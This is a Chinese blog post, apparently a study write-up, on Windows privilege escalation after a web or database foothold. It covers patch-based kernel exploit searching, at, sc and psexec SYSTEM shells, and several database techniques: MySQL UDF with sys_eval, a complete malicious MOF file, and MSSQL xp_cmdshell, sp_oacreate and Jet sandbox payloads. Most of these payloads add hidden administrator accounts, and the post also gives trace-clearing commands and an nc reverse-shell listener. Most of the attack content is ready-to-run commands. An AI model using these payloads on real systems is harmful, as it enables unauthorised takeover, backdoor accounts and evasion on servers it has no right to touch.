权限提权——Win提权漏洞及数据库&AT&SC&PS提权

发布于:2022-10-12 ⋅ 阅读:(1362) ⋅ 点赞:(1)

目录

前言:

(一)权限提升权限介绍

 

前置知识:

(二)基于WEB环境下的权限提升

0x01 环境

0x02 登入

 0x03 信息收集

1、whoami /priv

 2、systeminfo

3、补丁筛选

https://github.com/bitsadmin/wesng

0x04 利用MSF或特定EXP提权

用法

0x05 总结

(三)基于本地环境下的权限提升-AT&SC&PS命令

 0x01 at提权(针对win7之前的操作系统)

1、适用版本

2、AT 命令提权的原理

 0x02 sc提权

1、适用版本

2、利用原理

3、提权命令

 0x03 ps提权

1、适用版本

2、payload

(四)数据库提权

0x01 前言

0x02 数据库提权的意义

0x03 MySQL提权

1. 流程        

2. UDF 提权知识点

3. MOF 知识点:(基于 MYSQL 特性的安全问题)

 4. 启动项提权(基于配合操作系统自启动)

5. 反弹shell提权(基于利用反弹特性命令执行)

0x04 Mssql数据库提权

1、使用xp_cmdshell进行提权

2、使用sp_oacreate进行提权

3、使用SqlServer沙盒提权

0x05 Oracle数据库提权演示-自动化工具


前言:

        最近在上计算机组成原理的时候接触到了数据溢出,之前也接触过一点,对于PWN选手研究的会比较深,通过本篇文章,整理提权的常用方法.

        当你通过弱口令爆破、敏感文件读取、sql注入等漏洞获取到了管理员的账号和密码登入后台以后,需要提升自己的权限,就得在后台页面中寻找漏洞利用的点,成功上传webshell提升权限.

(一)权限提升权限介绍


        ​ 提权可分为纵向提权与横向提权:纵向提权:低权限角色获得高权限角色的权限;横向提权:获取同级别角色的权限。

​         Windows常用的提权方法有:系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、WEB中间件漏洞提权、DLL劫持提权、滥用高危权限令牌提权、第三方软件/服务提权等

后台权限(获得方式:爆破,SQL注入猜解,弱口令)

​ 一般网站或者应用后台只能操作应用的界面内容数据,图片等叫做后台权限

​ 无法操作程序的源代码或者服务器上的资源文件。(如果后台存在功能文件操作的话,可以操作文件数据也可以–文件操作管理器–)

网站权限(后台,漏洞,第三方):

​ 查看和修改(是否限制了管理员用户)程序源代码,可以进行网站或者应用的配置文件读取(接口配置信息,数据库配置信息),为后续收集服务器操作系统相关的的信息,为后续提权做准备。

数据库权限:

只能操作数据库用户,数据库的增删改。源码或者配置文件泄露,也可能是网站权限进行的数据库配置文件读取获得。

接口权限:

  • 短信支付等接口,邮件接口,第三方登录接口。
  • 修改网站支付接口,改为自己。邮件,短信接口。
  • 后台权限,网站权限后的获取途径:后台(修改配置信息),网站权限(查看配置文件信息)

 

前置知识:


Windows提权命令:

systeminfo 打印系统信息
whoami 获得当前用户名
whoami /priv 当前账号权限
ipconfig 网络配置信息
ipconfig /displaydns 显示DNS缓存
route print 打印路由表
arp -a 打印ARP表
hostname 主机名
net user 列出用户
net user UserName 关于用户信息
net use \SMBPATH Pa$$w0rd /u:UserName 连接SMB
net localgroup 列出所有组
net localgroup GROUP 关于指定组的信息
net view \127.0.0.1 会话打开到当前计算机
net session 开放给其他机器
netsh firewall show config 显示防火墙配置
DRIVEROUERY 列出安装的驱动
tasklist /svc 列出服务任务
net start 列出启动的服务
dir /s foo 在目录中搜索包含指定字符的项
dir /s foo == bar 同上
sc query 列出所有服务
sc qc ServiceName 找到指定服务路径
shutdown /r /t/ 0 立即重启
type file.txt 打印出内容
icacls “C:\Example” 列出权限
wmic qfe get Caption,Description,HotfixID,Installedon 列出已安装的补丁
tasjkill /pid 4048 结束进程
wmic product get name,version 查看当前安装程序
wmic service list brief 查询本机服务
wmic process list brief 查询本机进程
net share 查看本机共享列表

要搜集的信息大致如下几点:

  • 机器的系统及其版本
  • 机器的打补丁情况
  • 机器安装的服务
  • 机器的防火墙策略配置
  • 机器的防护软件情况

(二)基于WEB环境下的权限提升


0x01 环境


        首先已经把后门传到靶机的服务器

0x02 登入


 0x03 信息收集


1、whoami /priv

查看本用户可以执行的操作

 2、systeminfo

        查看本系统的信息,一般把它放在一个文件里面。比如说systeminfo>jinyouxin.txt

 

3、补丁筛选

        我们通过systeminfo的信息尝试找到可以利用的补丁漏洞

GitHub - vulmon/Vulmap: Vulmap Online Local Vulnerability Scanners Project

它有一定的缺点,而且比较老,只能在powershell上面执行,我们提权一般在cmd窗口上。

https://github.com/bitsadmin/wesng

这个是是一种基于 Windows systeminfo 实用程序输出的工具,它提供操作系统易受攻击的漏洞列表,包括对这些漏洞的任何利用。适用于 Windows 操作系统。

GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合

这个好久没有更新了,里面的漏洞是非常经典的。

0x04 利用MSF或特定EXP提权


利用上述3种方法之一找出可利用的漏洞之后,我们可以利用msf或者特定exp进行测试。

首选msf工具,但是msf工具是隔一段时间更新一版,因此msf中的漏洞可能更新不及时,如果遇到了msf没有收录的漏洞,我们可以网上搜索特定的exp测试,比如GitHub上有人整理了很多expGitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合自己也可以搜索一下。

用法

之前总结过,这里不再介绍。

0x05 总结

信息收集-补丁筛选-利用MSF或特定EXP-执行-flag到手

(三)基于本地环境下的权限提升-AT&SC&PS命令


有些漏洞可能只适应于本地环境提权,不适用于web环境提权,有些提权方法借助系统上的设计,利用开发人员在设计的时候没有考虑到的逻辑上的问题来实现,并不总是依靠漏洞。

 0x01 at提权(针对win7之前的操作系统)


1、适用版本

​ 在Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以使用at命令将权限提升至system权限

2、AT 命令提权的原理

At命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用的是system权限。At命令是Windows XP中内置的命令,它也可以媲美Windows中的"计划任务",而且在计划的安排、任务的管理、工作事务的处理方面,AT命令具有更强大更神通的功能。AT命令可在指定时间和日期、在指定计算机上运行命令和程序

当我们拿到一个低权限的用户,通过3389端口远程连接上后,可以通过at命令来进行本地提权

at 12:31 /interactive cmd (在12:31分生成一个交互式的System权限的cmd)

虽然此时我们已经有了system的权限,但是可以看到,桌面还是之前用户的权限所启动的,为了完全提权,我们可以在system的cmd里面输入taskmgr.exe来启动任务管理器,在任务管理器里面我们结束掉之前由之前账号开启的桌面进程explorer.exe。然后再添加一个由system权限下开启的桌面进程explorer.exe,或者利用msf生成木马在利用at启动。

 0x02 sc提权


1、适用版本

适用于windows 7/8、03/08、12/16, 因为at命令在win7,win8等更高版本的系统上都已经取消掉了。

2、利用原理

​ SC命令是XP系统中功能强大的DOS命令,SC命令能与"服务控制器"和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。

3、提权命令

使用sc命令创建一个syscmd的服务,绑定binPath的路径

sc Create syscmd binPath= "cmd /K start" type= own type= interact

 启动这个服务

sc start syscmd

 0x03 ps提权


1、适用版本

Win2003 & Win2008,pstools是微软官方工具,是为windows提供的第三方工具库,注意,2008要使用psexec64.exePsTools - Windows Sysinternals | Microsoft Learn

2、payload

psexec.exe -accepteula -s -i -d cmd.exe
psexec.exe -accepteula -s -i cmd.exe

(四)数据库提权


 

0x01 前言

在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件:服务器开启数据库服务及获取到最高权限用户密码。除 Access 数据库外,其他数据库基本都存在数据库提权的可能。

0x02 数据库提权的意义

  • WEB 或本地环境如何探针数据库应用(只需要数据库的密码)
  • 数据库提权权限用户密码收集等方法(配置文件、存储文件、暴力猜解、其它方式)
  • 目前数据库提权对应的技术及方法等(MySQL,Mssql)

0x03 MySQL提权


1. 流程        

服务探针-信息收集-提权利用-获取权限

2. UDF 提权知识点



UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,其实就像使用本地MySQL函数如 user() 或 concat() 等

读取网站数据库配置文件(了解其命名规则及查找技巧)

sql data inc config conn database common include 等配置文件

读取数据库存储或备份文件(了解其数据库存储格式及对应内容)

@@basedir/data/数据库名/表名.myd 利用脚本暴力猜解(了解数据库是否支持外联及如何开启外联) 远程本地暴力猜解,服务器本地暴力猜解

利用自定义执行函数导出 dll 文件进行命令执行 select version() select @@basedir

手工创建 plugin 目录或利用 NTFS 流创建 select 'x' into dumpfile 
'目录/lib/plugin::INDEX_ALLOCATION';

在 udf.dll 文件中,我定义了名为 sys_eval() 的 MySQL 函数,该函数可以执行系统任意命令。但是如果我现在就打开 MySQL 命令行,使用 select sys_eval(‘whoami’);的话,系统会返回 sys_eval() 函数未定义。因为我们仅仅是把 udf.dll 放到了 lib/plugin 目录下,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。
所以,我们应该把 udf.dll 中的自定义函数引入进来。

create function sys_eval returns string soname 'udf.dll';

两个变量

  • 一个是 function_name(函数名),我们想引入的函数是 sys_eval。
  • 另一个变量是 shared_library_name(共享包名称),即 udf.dll

至此我们已经引入了 sys_eval 函数,下面就可以使用了。 这个函数用于执行系统命令,用法如下:

select * from mysql.func where name = 'sys_eval'; #查看创建的sys_eval函数 select sys_eval('whoami'); #使用系统命令
  • 当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
  • 当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)

UDF提权步骤

  1. 将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
  2. 从udf文件中引入自定义函数(user defined function)
  3. 执行自定义函数
  • 将udf文件上传到指定位置

sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本, 否则会显示:Can‘t open shared library ‘udf.dll‘。

如下目录

sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_ sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_ 但是sqlmap 中 自带的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。

可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak\cloak 目录下,执行命令:

cloak.py -d -i E:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_

sqlmap中的udf文件提供的函数:

sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量

有了udf文件,接下来就是利用各种办法上传到网站指定目录下:

  • MySQL<5.0,导出路径随意;
  • 5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:c:/windows/system32/)
  • MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。

一般Lib、Plugin文件夹需要手工建立(可用NTFS ADS流模式突破进而创建文件夹)

select @@basedir;  //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';    //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';    //利用NTFS ADS创建plugin目录
  • 从udf文件中引入自定义函数
create function sys_eval returns string soname 'udf.dll';    //sys_eval是函数名称,udf.dll是lib_mysqludf_sys.dll_上传后的文件名
  • 执行自定义函数
//新建账号waitalone,密码为waitalone.cn
select cmdshell('net user waitalone waitalone.cn /add'); 
//将waitalone加入管理员组
select cmdshell('net localgroup administrators waitalone /add');
  • 清除痕迹
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell'  删除函数

3. MOF 知识点:(基于 MYSQL 特性的安全问题)


原理:

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

以下是mof提权的过程:

将mof上传至任意可读可写目录下,这里我传到D:\wamp\下命名为:xiaowei.mof,然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。

替换的sql语句:

select load_file('D:\wamp\xiaowei.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

mof文件代码如下所示:

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
}; 

可见其中是有一段添加用户的脚本。账号为admin 密码为admin:

 4. 启动项提权(基于配合操作系统自启动)


导出自定义可执行文件到启动目录配合重启执行

将创建好的后门或执行文件进行服务器启动项写入,配合重启执行!

5. 反弹shell提权(基于利用反弹特性命令执行)


nc -l -p 5577

0x04 Mssql数据库提权


1、使用xp_cmdshell进行提权

由于mssql默认支持外联,因为可以本地通过SqlServer2008客户端使用用户密码(通过信息收集得到)连接。Navicat也能连接,但是推荐用官方的。

启用xp_cmdshell。xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它

启用:
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
 
关闭;
exec sp_configure 'show advanced options',1 ;
reconfigure;
exec sp_configure 'xp_cmdshell',0;
reconfigure;

 接下来,我们就可以执行任意命令了:

EXEC master.dbo.xp_cmdshell '命令';

如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复:

exex master.sys.sp_addextendedproc 'xp_cmdshell','C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

2、使用sp_oacreate进行提权

主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令。

启用sp_oacreate

启用:
EXEC sp_configure 'show advanced options',1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures',1;
RECONFIGURE WITH OVERRIDE;
 
关闭:
EXEC sp_configure 'show advanced options',1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures',0;
RECONFIGURE WITH OVERRIDE;

执行命令:

执行whoami查看权限:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >C:\\1.txt'
 
添加用户:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123/add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add'

3、使用SqlServer沙盒提权

依次执行下列sql语句:

--提权语句
exec sp_configure 'show advanced options',1;reconfigure;
 
-- 不开启的话在执行xp_regwrite会提示让我们开启
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
 
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
 
--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
 
--执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
 
沙盒模式SandBoxMode参数含义(默认是2)
`0`:在任何所有者中禁止启用安全模式
`1`:为仅在允许范围内
`2`:必须在access模式下
`3`:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
 
--恢复配置(暂不执行)
--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
--exec sp_configure 'show advanced options',0;reconfigure;

成功创建用户:


 参考资料:SQL Server提权方法汇总(MSSQL)_Margin的技术博客_51CTO博客

0x05 Oracle数据库提权演示-自动化工具


oracle提权执行命令工具oracleShell v0.1 - bonelee - 博客园

自动化工具这里不再介绍。

本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到